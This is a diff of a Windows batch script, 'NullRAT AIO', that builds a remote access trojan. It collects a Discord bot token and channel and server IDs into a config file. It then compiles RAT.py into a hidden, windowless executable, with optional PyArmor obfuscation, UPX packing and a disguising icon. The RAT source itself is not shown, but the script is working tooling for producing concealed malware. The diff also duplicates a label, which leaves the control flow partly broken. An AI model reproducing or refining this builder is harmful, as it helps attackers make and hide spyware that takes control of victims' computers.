11@ echo off & @ title NullRAT AIO
22chcp 65001 & cd " %~dp0 NullRAT"
3+ setlocal EnableDelayedExpansion
34mode con: cols=80 lines=29
45
56:main
@@ -70,10 +71,31 @@ echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██
7071echo [38;2;0;160;255m██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║[38;2;255;255;255m
7172echo [38;2;0;140;255m███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║[38;2;255;255;255m
7273echo [38;2;0;120;255m╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝[38;2;255;255;255m
73- cd " %~dp0 NullRAT"
74- IF EXIST " Variables.py" (goto fileE) else (echo.)
74+ IF EXIST " Variables.py" (goto fileE) else (goto a)
75+
76+ :fileE
77+ echo .
78+ echo A pre-existing variables file was detected.
79+ choice /c YN /n /m " Do you want to check its contents? [Y/N]"
80+ if %errorlevel% == 2 (
81+ cls & echo .
82+ echo [38;2;0;220;255m██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗[38;2;255;255;255m
83+ echo [38;2;0;200;255m╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝[38;2;255;255;255m
84+ echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗[38;2;255;255;255m
85+ echo [38;2;0;160;255m██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║[38;2;255;255;255m
86+ echo [38;2;0;140;255m███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║[38;2;255;255;255m
87+ echo [38;2;0;120;255m╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝[38;2;255;255;255m
88+ echo .
89+ goto a
90+ )
91+
92+ if %errorlevel% == 1 (goto endd)
7593
7694:a
95+ echo .
96+ echo Obtaining information for Variables.py ...
97+ echo ==========================================
98+ echo .
7799set /p " token = Enter Bot Token: "
78100if " %token% " == " " (cls & echo [ERROR] Token cannot be empty! & goto createF)
79101set /p " notification = Enter Notification ID: "
@@ -86,14 +108,13 @@ echo bot_token = ^"%token%^" >> Variables.py
86108echo notification_channel = %notification% >> Variables.py
87109echo server_ids = ^ [%server% ^ ] >> Variables.py
88110
89- echo . & echo Variables file successfully created!
111+ echo . & echo Variables file successfully created!
90112timeout /t 3
91113goto compiler
92114
93- :fileE
94- echo .
95- echo A pre-existing variables file was detected.
96- choice /c YN /n /m " Do you want to check its contents? [Y/N]"
115+ :endd
116+ echo . & type Variables.py & echo .
117+ choice /c YN /n /m " Are all these information correct? [Y/N]"
97118if %errorlevel% == 2 (
98119 cls & echo .
99120 echo [38;2;0;220;255m██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗[38;2;255;255;255m
@@ -105,23 +126,105 @@ if %errorlevel%==2 (
105126 echo .
106127 goto a
107128)
108-
109-
110- if %errorlevel% == 1 (goto endd)
111-
112- :endd
113- echo . & type Variables.py & echo .
114- choice /c YN /n /m " Are all these information correct? [Y/N]"
115- if %errorlevel% == 2 (cls & goto createF)
116129if %errorlevel% == 1 (
117- echo . & echo The following information is correct.
118- echo Going to compiler...
119- timeout /t 3 > nul & goto compiler
130+ echo . & echo The following information is correct.
131+ timeout /t 2 & goto compiler
120132)
121133
134+ :a
135+ echo .
136+ echo Obtaining information for Variables.py ...
137+ echo ==========================================
138+ echo .
139+ set /p " token = Enter Bot Token: "
140+ if " %token% " == " " (cls & echo [ERROR] Token cannot be empty! & goto createF)
141+ set /p " notification = Enter Notification ID: "
142+ if " %notification% " == " " (cls & echo [ERROR] Notification cannot be empty! & goto createF)
143+ set /p " server = Enter Server ID: "
144+ if " %server% " == " " (cls & echo [ERROR] Server cannot be empty! & goto createF)
145+
146+ echo ^ # This file was auto-generated by NullRAT Variables^ . DO NOT SHARE^ ! > Variables.py
147+ echo bot_token = ^ " %token% ^" >> Variables.py
148+ echo notification_channel = %notification% >> Variables.py
149+ echo server_ids = ^ [%server% ^ ] >> Variables.py
150+
151+ echo . & echo Variables file successfully created!
152+ timeout /t 3
153+ goto compiler
154+
122155:compiler
156+ @ title NullRAT AIO (Compiler)
157+ cls & echo .
158+ echo [38;2;0;220;255m██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ ███████╗██████╗[38;2;255;255;255m
159+ echo [38;2;0;200;255m╚════██╗╚██╗ ██╔════╝██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗[38;2;255;255;255m
160+ echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║ ██║██╔████╔██║██████╔╝██║██║ █████╗ ██████╔╝[38;2;255;255;255m
161+ echo [38;2;0;160;255m╚═══██╗ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔═══╝ ██║██║ ██╔══╝ ██╔══██╗[38;2;255;255;255m
162+ echo [38;2;0;140;255m██████╔╝██╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██║[38;2;255;255;255m
163+ echo [38;2;0;120;255m╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝[38;2;255;255;255m
164+ echo .
165+ echo [0;36m^ > ^ > Options:
166+ echo -----------[0m
167+ echo .
168+
169+ choice /c YN /n /m " Do you want to obfuscate the executable? [Y/N]: "
170+ if %errorlevel% == 1 (set pyarmor=yes)
171+ if %errorlevel% == 2 (set pyarmor=no)
172+
173+ choice /c YN /n /m " Do you want to compress the executable? [Y/N]: "
174+ if %errorlevel% == 1 (set upxdd=yes)
175+ if %errorlevel% == 2 (set upxdd=no)
176+
177+ choice /c YN /n /m " Do you want to add a custom icon? [Y/N]: "
178+ if %errorlevel% == 1 (set icon=yes)
179+ if %errorlevel% == 2 (set icon=no)
180+
181+ echo .
182+ echo [0;36mAll options selected:
183+ echo --------------------------------------------[0m
184+ echo Obfuscating the executable=" %pyarmor% "
185+ echo Compressing the executable=" %upxdd% "
186+ echo Adding a custom icon to the executable=" %icon% "
187+ echo [0;36m--------------------------------------------[0m
188+
189+ echo . & choice /c YN /n /m " Are all these options correct? [Y/N]: "
190+ if %errorlevel% == 2 (goto compiler) else (goto compile)
191+
192+ :compile
193+ cls & echo .
194+ echo [38;2;0;220;255m██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ ███████╗██████╗[38;2;255;255;255m
195+ echo [38;2;0;200;255m╚════██╗╚██╗ ██╔════╝██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗[38;2;255;255;255m
196+ echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║ ██║██╔████╔██║██████╔╝██║██║ █████╗ ██████╔╝[38;2;255;255;255m
197+ echo [38;2;0;160;255m╚═══██╗ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔═══╝ ██║██║ ██╔══╝ ██╔══██╗[38;2;255;255;255m
198+ echo [38;2;0;140;255m██████╔╝██╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██║[38;2;255;255;255m
199+ echo [38;2;0;120;255m╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝[38;2;255;255;255m
200+ echo .
201+
202+ if " !icon! " == " yes" (
203+ set /P " iconP = Please type the path of the custom icon: "
204+ move " !iconP! " " %~dp0 \NullRAT\custom_icon.ico"
205+ )
206+ if " !upxdd! " == " yes" (set " path=!path! ;%~dp0 \NullRAT\upx;%~dp0 \upx" )
207+
208+ if " !pyarmor! " == " yes" (
209+ if " !icon! " == " yes" (
210+ pyarmor pack -e " --onefile --noconsole --icon=custom_icon.ico " RAT.py
211+ ) else (
212+ pyarmor pack -e " --onefile --noconsole " RAT.py
213+ )
214+ ) else (
215+ if " !icon! " == " yes" (
216+ pyinstaller --onefile --noconsole --icon=custom_icon.ico RAT.py
217+ ) else (
218+ pyinstaller --onefile --noconsole RAT.py
219+ )
220+ )
221+
222+ move dist\RAT.exe " %~dp0 \" & echo .
223+ rmdir /s /q " build"
224+ rmdir /s /q " dist"
225+ timeout /t 2
123226
124- pause
227+ exit
125228
126229:cleanup
127230cd " %~dp0 "
0 commit comments